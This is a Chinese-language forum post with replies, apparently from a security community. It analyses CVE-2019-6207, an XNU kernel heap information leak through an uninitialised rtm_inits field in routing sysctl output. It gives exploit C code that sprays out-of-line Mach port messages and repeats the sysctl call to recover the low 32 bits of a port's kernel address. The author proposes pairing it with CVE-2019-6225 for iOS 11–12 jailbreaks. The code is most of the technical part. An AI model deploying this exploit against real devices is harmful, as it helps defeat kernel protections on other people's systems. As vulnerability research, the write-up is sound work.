利用 CVE-2019-6207 泄露 port address(low 4 bytes)

GitHub - maldiohead/CVE-2019-6207: xnu kernel heap info leak

0. Prologue

闲时分析了下, 写了一个利用, 因为目前打 11.x - 12.1.2 的 jailbreak 只利用了 CVE-2019-6225, 有一些不稳定, 即使是 Brandon Azad 写的 voucher_swap exp 其中也存在大量的 hardcode 的内核堆布局. 尝试了下使用这个洞和 CVE-2019-6225 打一个组合拳.

很简单的一个漏洞, 分配内存后没有完全初始化, 返回用户空间导致泄露了内核 zone_map 地址空间内容.

这个洞略微有点鸡肋只能泄露低 32 位 (庆幸是低 32 位).

xnu source version: 4903.221.2

1. 漏洞点

rt_msg2:

	if (cp == NULL && w != NULL && !second_time) {
		struct walkarg *rw = w;

		if (rw->w_req != NULL) {
			if (rw->w_tmemsize < len) {
				if (rw->w_tmem != NULL)
					FREE(rw->w_tmem, M_RTABLE);
				rw->w_tmem = _MALLOC(len, M_RTABLE, M_WAITOK);
				if (rw->w_tmem != NULL)
					rw->w_tmemsize = len;
			}
			if (rw->w_tmem != NULL) {
				cp = rw->w_tmem;
				second_time = 1;
				goto again;
			}
		}
	}
/*
 * Structures for routing messages.
 */
struct rt_msghdr {
	u_short	rtm_msglen;	/* to skip over non-understood messages */
	u_char	rtm_version;	/* future binary compatibility */
	u_char	rtm_type;	/* message type */
	u_short	rtm_index;	/* index for associated ifp */
	int	rtm_flags;	/* flags, incl. kern & message, e.g. DONE */
	int	rtm_addrs;	/* bitmask identifying sockaddrs in msg */
	pid_t	rtm_pid;	/* identify sender */
	int	rtm_seq;	/* for sender to identify action */
	int	rtm_errno;	/* why failed */
	int	rtm_use;	/* from rtentry */
	u_int32_t rtm_inits;	/* which metrics we are initializing */
	struct rt_metrics rtm_rmx; /* metrics themselves */
};

rt_msg2 里使用 _MALLOC 没有携带 M_ZERO flag, 且之后对 rt_msghdr(rt_msghdr2) 的初始化中, 遗漏了对 rtm_inits 的初始化.

2. 构建 Leak Port Address Primitive

利用技巧和 CVE-2017-13865 如出一辙.

2.1. 判断 _MALLOC 使用的 zone

zone_size 可以通过 rt_msghdr->rtm_msglen 判断.

2.2. 使用 OOL PORTS MSG 填充

这里注意下过滤下 zfree_poison_elementzfree 填充的 ZP_POISON (其实不过滤也没有关系)

详细 exp 附.

3. 利用

虽然只能 leak port address 的低 32 位, 但是根据 zone_map capacity, 在非很大内存设备上已经可以根据低 32 位, 确定唯一的 zone map address.

size_t get_zone_map_capacity() {
  mach_vm_size_t zsize;
  zsize = g_hardware_info.hw_memsize >> 2;

#if defined(__LP64__)
  zsize += zsize >> 1;
#endif
  
  if(IsSystemMatchiOS("11.4", "11.4.4") || IsSystemMatchmacOS("10.13", "10.13.6")) {
    size_t max_zsize = (1024ULL * 1024ULL * 1024ULL) >> 2ULL;
    max_zsize += max_zsize >> 1;
    
    if (zsize > max_zsize)
      zsize = max_zsize;
    
  }

  return zsize;
}

size_t get_zone_map_gc_capacity() {
  return ((get_zone_map_capacity() * zone_map_jetsam_limit) / 100);
}

通过 leak port address 可以做如下利用.

3.1. 利用 leaked port address to determine if zone gc occured

3.2. 利用 leaked port address to manipulate kernel heap better.

例如 ian beer 就利用过这个技巧, 去选择一个可以 overlap 在 mach_simple_msg_t 的 body content 的 port 作为攻击 target, 从而避免了偶然选择了落在 ipc_kmsg, max_desc 等位置.

其次如果可以完整的 leak port address 那么在 Brandon Azadvoucher_swap 利用就可以直接用 voucher_reference & voucher_release 构建一个 userspace 的 fake port

4. 与 CVE-2019-6225 打一个组合拳

5. exp


size_t leak_zone_size = 0;

int comparator(const void *a, const void *b) {
  return (*(uint32_t *)a - *(uint32_t *)b);
}
uint32_t mostFrequent(uint32_t arr[], int n) {
  // Sort the array
  // sort(arr, arr + n);
  qsort(arr, n, sizeof(uint32_t), comparator);

  // find the max frequency using linear traversal
  int max_count = 1, res = arr[0], curr_count = 1;
  for (int i = 1; i < n; i++) {
    if (arr[i] == arr[i - 1])
      curr_count++;
    else {
      if (curr_count > max_count) {
        max_count = curr_count;
        res       = arr[i - 1];
      }
      curr_count = 1;
    }
  }

  // If last element is most frequent
  if (curr_count > max_count) {
    max_count = curr_count;
    res       = arr[n - 1];
  }

  return res;
}

static void sysctl_exploit(uint8_t *buf, size_t *lenPTR) {
  int mib[6], maxproc;

  mib[0] = CTL_NET;
  mib[1] = PF_ROUTE;
  mib[2] = 0;
  mib[3] = AF_INET6;
  mib[4] = NET_RT_DUMP;
  mib[5] = 0;

  sysctl(mib, 6, buf, lenPTR, NULL, 0);
  if (!(*lenPTR)) {
    FATAL("sysctl failed");
  }
}

static void init_preprocessor() {
  uint8_t buf[4096] = {0};
  size_t buf_size   = 4096;
  sysctl_exploit(buf, &buf_size);

  struct rt_msghdr *rtm = buf;

  while (((uint64_t)rtm + rtm->rtm_msglen) <= ((uint64_t)buf + buf_size)) {
    DLOG("rtm msg length :%d\n", rtm->rtm_msglen);
    rtm = ((uint64_t)rtm + rtm->rtm_msglen);
    if (rtm->rtm_msglen == 0)
      break;
  }

  leak_zone_size = get_kalloc_zone_size(((struct rt_msghdr *)buf)->rtm_msglen);
  LOG("leak zone size select : %d", leak_zone_size);
}

uint32_t cve_2019_6207_leak_port_kern_addr_low_4_bytes(mach_port_t target_port) {
  init_preprocessor();

  size_t ports_count = leak_zone_size / sizeof(mach_port_t *);
  mach_port_t *ports = calloc(ports_count, sizeof(mach_port_t));

  for (int i = 0; i < ports_count; ++i) {
    ports[i] = target_port;
  }

  int guess_count = 50;
  uint32_t leak_4_byte_guess[guess_count];

  for (int i = 0; i < guess_count; ++i) {
    mach_port_t remote        = allocate_mach_port(MACH_PORT_RIGHT_RECEIVE, true);
    kern_return_t err  = mach_port_insert_right(mach_task_self(), remote, remote, MACH_MSG_TYPE_MAKE_SEND);
    KERN_RETURN_ASSERT(err);
    mach_ool_ports_msg_t *msg = NULL;
    mach_msg_size_t msg_size  = 0;
    gen_ool_ports_msg_placeholder(ports, ports_count, MACH_MSG_TYPE_COPY_SEND, &msg, &msg_size);

    for (int j = 0; j < 3; j++) {
      send_message(&msg->header, remote, MACH_PORT_NULL);
      msg->header.msgh_id += 1;
    }
    mach_port_destroy(mach_task_self(), remote);

    uint8_t buf[4096] = {0};
    size_t buf_size   = 4096;
    sysctl_exploit(buf, &buf_size);

    leak_4_byte_guess[i] = ((struct rt_msghdr *)buf)->rtm_inits;
  }

// filter the posion elem with `zfree_poison_element`
#define ZP_POISON 0xdeadbeef
  for (size_t i = 0; i < guess_count; i++) {
    if (leak_4_byte_guess[i] == ZP_POISON)
      leak_4_byte_guess[i] = 0;
  }

  uint32_t leak_4_bytes = mostFrequent(leak_4_byte_guess, guess_count);
  if (leak_4_bytes == 0)
    FATAL("can't found the port kern address");

  LOG("leak 4 bytes: %.4x", leak_4_bytes);
  return leak_4_bytes;
}
3 个赞

膜!!!

tql x 100 :smiley:

:404:

我看懂了ifdef LP64

看不懂… 帮推文… 灌水

tqltqltqltqltqltqltqltqltqltql
膜拜
tqltqltqltqltqltqltqltqltqltql

看不懂,但还是要膜

太强了 紫薯布丁

哈哈 看到我的漏洞被用上了 很开心 学习了

5 个赞

大佬来了, 感谢大佬的漏洞!

你是大佬 膜拜膜拜

:joy:新手想试着过一遍,发现有些函数不太理解,比如gen_ool_ports_msg_placeholder可以说明一下吗 或者有别的链接参考?谢谢

gen_ool_ports_msg_placeholder 这个是我 kit 里的一些函数, 可能需要你自己写. 你应该可以从名字很容易写出来.

嗯嗯,了解~